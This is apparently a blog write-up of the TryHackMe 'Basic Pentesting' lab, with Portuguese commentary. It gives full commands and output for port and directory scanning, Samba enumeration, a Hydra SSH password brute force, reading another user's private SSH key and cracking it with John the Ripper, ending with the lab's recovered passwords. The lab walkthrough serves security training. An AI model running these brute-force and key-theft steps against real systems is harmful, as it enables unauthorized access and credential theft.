1159 words
6 minutes
Writeup @ Basic Pentesting
Room Information
This is a machine that allows you to practice web app hacking and privilege escalation.
- TryHackMe - Basic Pentesting;
- https://tryhackme.com/room/basicpentestingjt.
Information Gathering
Manual Analysis
- Para acelerar o processo, acessei o servidor nas portas 80 e 8080 (serviços web);
- Neles não encontrei nada de interessante, a não ser a versão do tomcat que está rodando na porta 8080 (Apache Tomcat 9.0.7), mas não há exploits disponíveis;
- Procurei também por arquivos como
robots.txtesitemap.xml, mas nada também; - Agora, vamos de scanning.
Port Scanning
# Nmap 7.98 scan initiated Fri Jan 2 15:08:36 2026 as: /usr/lib/nmap/nmap -Pn -sS -sV -sC -O -p- -T4 -oN nmap-out.txt 10.66.148.87Nmap scan report for 10.66.148.87Host is up (0.15s latency).Not shown: 65529 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 57:69:1c:b4:8c:0a:9a:ad:2c:71:4f:57:f5:4b:51:ed (RSA)| 256 18:fd:d5:4f:9b:76:51:10:67:1f:6a:09:ce:ac:f9:06 (ECDSA)|_ 256 a1:54:ce:8b:65:d7:16:ab:c9:53:2c:c8:d4:0b:4a:81 (ED25519)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Site doesn't have a title (text/html).139/tcp open netbios-ssn Samba smbd 4445/tcp open netbios-ssn Samba smbd 48009/tcp open ajp13 Apache Jserv (Protocol v1.3)| ajp-methods:|_ Supported methods: GET HEAD POST OPTIONS8080/tcp open http Apache Tomcat 9.0.7|_http-favicon: Apache Tomcat|_http-title: Apache Tomcat/9.0.7Device type: general purposeRunning: Linux 4.XOS CPE: cpe:/o:linux:linux_kernel:4.15OS details: Linux 4.15Network Distance: 3 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:| smb2-time:| date: 2026-01-02T15:20:08|_ start_date: N/A| smb2-security-mode:| 3.1.1:|_ Message signing enabled but not required|_clock-skew: -1s|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Fri Jan 2 15:20:14 2026 -- 1 IP address (1 host up) scanned in 698.16 seconds- Observe que temos um serviço interessante rodando nas portas 139 e 445, o Samba (nada mais é do que um protocolo de compartilhamento de arquivos e recursos em uma rede);
- Temos também o SSH rodando na porta 22 e os serviços web nas portas 80 e 8080 (como já havíamos descoberto);
- Vamos enumerar a web, acho que lá tem mais coisa.
Enumeration
Web Directory Enumeration
# gobuster dir --url http://10.66.148.87/ --output gobuster-out.txt --wordlist /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt===============================================================Gobuster v3.8by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.66.148.87/[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.8[+] Timeout: 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/development (Status: 301) [Size: 318] [--> http://10.66.148.87/development/]/server-status (Status: 403) [Size: 277]Progress: 202479 / 1273830 (15.90%)^C- Aqui achamos um diretório interessante, o
/development; - Dentro deles pude achar dois arquivos de texto,
dev.txtej.txt;- No
dev.txtdescobrimos uma possível versão do servidor Samba (2.5.12), além de duas iniciais de usuários, J e K; - No
j.txto usuário K fala para o J que a hash de senha dele no/etc/shadowé fraca, logo, é um indicativo para quebrarmos a senha posteriormente.
- No
- Falta agora apenas enumerarmos, o Samba, bora lá.
Samba Enumeration
# enum4linux -a 10.66.148.87
...
Got OS info for 10.66.148.87 from srvinfo: BASIC2 Wk Sv PrQ Unx NT SNT Samba Server 4.15.13-Ubuntu platform_id : 500 os version : 6.1 server type : 0x809a03
...
Sharename Type Comment --------- ---- ------- Anonymous Disk IPC$ IPC IPC Service (Samba Server 4.15.13-Ubuntu)
...
S-1-22-1-1000 Unix User\kay (Local User)S-1-22-1-1001 Unix User\jan (Local User)S-1-22-1-1002 Unix User\ubuntu (Local User)
...- Conseguimos achar um share interessante, o Anonymous, tentaremos explorar uma má configuração do servidor e tentar logar como usuário Anonymous;
- Além de termos também quais usuários existem no servidor, iremos explorar o jan;
# smbclient //10.66.148.87/Anonymous -U AnonymousPassword for [WORKGROUP\Anonymous]:Try "help" to get a list of possible commands.smb: \> dir . D 0 Thu Apr 19 17:31:20 2018 .. D 0 Thu Apr 19 17:13:06 2018 staff.txt N 173 Thu Apr 19 17:29:55 2018
14282840 blocks of size 1024. 6412348 blocks availablesmb: \> more staff.txtgetting file \staff.txt of size 173 as /tmp/smbmore.AZl4aM (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)- Tentando logar como usuário Anonymous, conseguimos acesso a um arquivo,
staff.txt; - Nele, descobrimos os nomes reais dos usuários, Kay e Jan;
- Com essas informações coletadas, podemos tentar um ataque de força bruta no serviço SSH.
Exploitation
Hydra Brute Force
# hydra -l jan -P /usr/share/wordlists/rockyou.txt -t 4 10.66.148.87 sshHydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-02 16:49:27[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task[DATA] attacking ssh://10.66.148.87:22/[STATUS] 64.00 tries/min, 64 tries in 00:01h, 14344335 to do in 3735:31h, 4 active[STATUS] 68.00 tries/min, 204 tries in 00:03h, 14344195 to do in 3515:45h, 4 active[STATUS] 65.14 tries/min, 456 tries in 00:07h, 14343943 to do in 3669:53h, 4 active[STATUS] 28.54 tries/min, 607 tries in 00:21h, 14343792 to do in 8375:45h, 4 active[22][ssh] host: 10.66.148.87 login: jan password: armando1 of 1 target successfully completed, 1 valid password foundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-02 17:19:28- Depois de rodar por um bom tempo (a senha estava lá pro final do arquivo), descobrimos a senha;
- Agora, podemos testar o usuário e senha no serviço SSH, com
ssh jan@10.66.148.87.
Privilege Escalation
- De primeira rodei alguns comandos padrão (como
sudo -l,getcap, etc), mas não achei nada; - Nosso diretório home também não tinha permissão nenhuma, e para encontrar um diretório que pudéssemos escrever algo rodei
find / -writable -d; - Com isso achei o diretório
/tmp, onde copiei e colei o programa LinPEAS (há maneiras mais inteligentes de fazer isso btw); - Rodei e ele achou um negócio interessante que, a princípio, eu ainda não tinha pensado: arquivos ssh;
- Como já sabíamos (pela enumeração do SMB), existe um usuário kay na máquina, e para nossa surpresa, a chave privada ssh dele está acessível para leitura;
- Fui tentar logar direto com a chave privada e não deu, ele ainda pede senha, então vamos tentar quebrar com o John the Ripper, copiando e colando (ou usando SCP) na nossa máquina o conteúdo de
cat /home/kay/.ssh/id_rsa;
# ssh2john id_rsa > hash.txt# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txtUsing default input encoding: UTF-8Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashesCost 2 (iteration count) is 1 for all loaded hashesWill run 8 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusbeeswax (id_rsa)1g 0:00:00:00 DONE (2026-01-02 18:10) 1.886g/s 156135p/s 156135c/s 156135C/s bird..bammerUse the "--show" option to display all of the cracked passwords reliablySession completed.- Quebramos a senha do SSH, agora vamos voltar ao SSH do jan e nos conectarmos por lá.
Post Exploitation
- Voltando ao login do jan, tentamos logar ao kay também pelo ssh, e conseguimos acesso;
# ssh -i /home/kay/.ssh/id_rsa kay@10.66.148.87kay@ip-10-66-148-87:~$ cd ~; lspass.bakkay@ip-10-66-148-87:~$ cat pass.bakheresareallystrongpasswordthatfollowsthepasswordpolicy$$- Assim, conseguimos a última flag necessária.
Writeup @ Basic Pentesting
https://dantsec.github.io/posts/hacking/writeups/writeup-basic-pentesting/